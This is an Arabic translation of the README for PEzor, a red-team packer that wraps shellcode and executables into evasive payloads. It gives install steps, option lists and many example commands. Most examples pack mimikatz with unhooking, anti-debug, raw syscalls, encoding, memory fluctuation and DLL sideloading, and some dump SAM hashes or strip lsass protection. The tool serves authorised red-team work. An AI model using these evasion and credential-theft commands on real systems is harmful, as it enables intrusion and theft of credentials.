
قم بتجميع شيل كود وملفات PE القابلة للتنفيذ في حمولات مراوغة باستخدام تقنيات مضادة للتصحيح، وإزالة الخطاف، واستدعاء النظام، وتقلب الذاكرة لعمليات الفريق الأحمر.
اقرأ منشورات المدونة هنا:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
السكربت install.sh مصمم للعمل على توزيعة Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
يجب تحديث متغير PATH لاستخدام إصدار معين من Donut! راجع سكربت install.sh المحدث.
PEzor helpعرض المساعدة لـ PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>تغليف الملف القابل للتنفيذ المُقدم في ملف جديد
OPTIONS
-h عرض الاستخدام والخروج
-32 فرض ملف تنفيذي 32-bit
-64 فرض ملف تنفيذي 64-bit
-debug إنشاء بناء تصحيح (debug build)
-unhook إزالة خطافات وضع المستخدم (user-land hooks)
-antidebug إضافة فحوصات مكافحة التصحيح (anti-debug)
-syscalls استخدام استدعاءات النظام الخام (raw syscalls) [64-bit فقط] [Windows 10 فقط]
-sgn تشفير الشيلكود المُولد باستخدام sgn
-text تخزين الشيلكود في قسم .text بدلاً من .data
-rx تخصيص ذاكرة RX للشيلكود
-self تنفيذ الشيلكود في نفس السلسلة (thread)
-sdk=VERSION استخدام إصدار معين من .NET Framework (2, 4, 4.5 (افتراضي))
-cleanup إجراء تنظيف للحمولة المخصصة والوحدات المُحمّلة (فقط لملفات BOF)
-sleep=N الانتظار لمدة N ثانية قبل تفريغ الشيلكود (unpack)
-format=FORMAT إخراج النتيجة بالتنسيق المُحدد (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION تقليب منطقة الذاكرة إلى الحماية PROTECTION (RW أو NA) عن طريق ربط دالة Sleep()
-xorkey=KEY تشفير الحمولة باستخدام XOR بسيط متعدد البايتات، حيث يسترجع المفتاح أثناء التشغيل باستخدام GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] بعد الملف القابل للتنفيذ المراد تغليفه، يمكن تمرير وسائط إضافية لـ Donut، مثل -z 2
EXAMPLES
# 64-bit (حقن ذاتي RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (حقن ذاتي RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (استدعاءات النظام الخام)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (تقليب إلى READWRITE عند النوم)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (تقليب إلى NOACCESS عند النوم)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (استخدام المفاتيح البيئية مع GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (دعم الملفات التي تحتوي على موارد (resources) عن طريق الاحتفاظ برؤوس PE في الذاكرة)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-bit (ملف كائن beacon)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (ملف كائن beacon مع التنظيف)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (تحميل جانبي dll)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll عاكس)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (خدمة exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (خدمة dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32-bit (حقن ذاتي)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) مع وسائط لـ donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>تغليف الشيلكود المُقدم في ملف تنفيذي
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h عرض الاستخدام والخروج
-32 فرض ملف تنفيذي 32-bit
-64 فرض ملف تنفيذي 64-bit
-debug إنشاء بناء تصحيح (debug build)
-unhook إزالة خطافات وضع المستخدم (user-land hooks)
-antidebug إضافة فحوصات مكافحة التصحيح (anti-debug)
-shellcode فرض اكتشاف الشيلكود
-syscalls استخدام استدعاءات النظام الخام (raw syscalls) [64-bit فقط] [Windows 10 فقط]
-sgn تشفير الشيلكود المُقدم باستخدام sgn
-text تخزين الشيلكود في قسم .text بدلاً من .data
-rx تخصيص ذاكرة RX للشيلكود
-self تنفيذ الشيلكود في نفس السلسلة (thread) [يتطلب شيلكود RX، غير متوافق مع -sgn]
-cleanup إجراء تنظيف للحمولة المخصصة والوحدات المُحمّلة (فقط لملفات BOF)
-sleep=N الانتظار لمدة N ثانية قبل تفريغ الشيلكود (unpack)
-format=FORMAT إخراج النتيجة بالتنسيق المُحدد (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION تقليب منطقة الذاكرة إلى الحماية PROTECTION (RW أو NA) عن طريق ربط دالة Sleep()
-xorkey=KEY تشفير الحمولة باستخدام XOR بسيط متعدد البايتات، حيث يسترجع المفتاح أثناء التشغيل باستخدام GetComputerNameExA(ComputerNameDnsFullyQualified)
EXAMPLES
# 64-bit (حقن ذاتي RWX)
$ PEzor.sh shellcode.bin
# 64-bit (حقن ذاتي RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (حقن ذاتي)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (استدعاءات النظام الخام)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (تقليب إلى READWRITE عند النوم)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64-bit (تقليب إلى NOACCESS عند النوم)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64-bit (استخدام المفاتيح البيئية مع GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64-bit (ملف كائن beacon)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (ملف كائن beacon مع التنظيف)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-bit (تحميل جانبي dll)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-bit (dll عاكس)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (خدمة exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (خدمة dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (حقن ذاتي)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
انظر الكود: PEzor.sh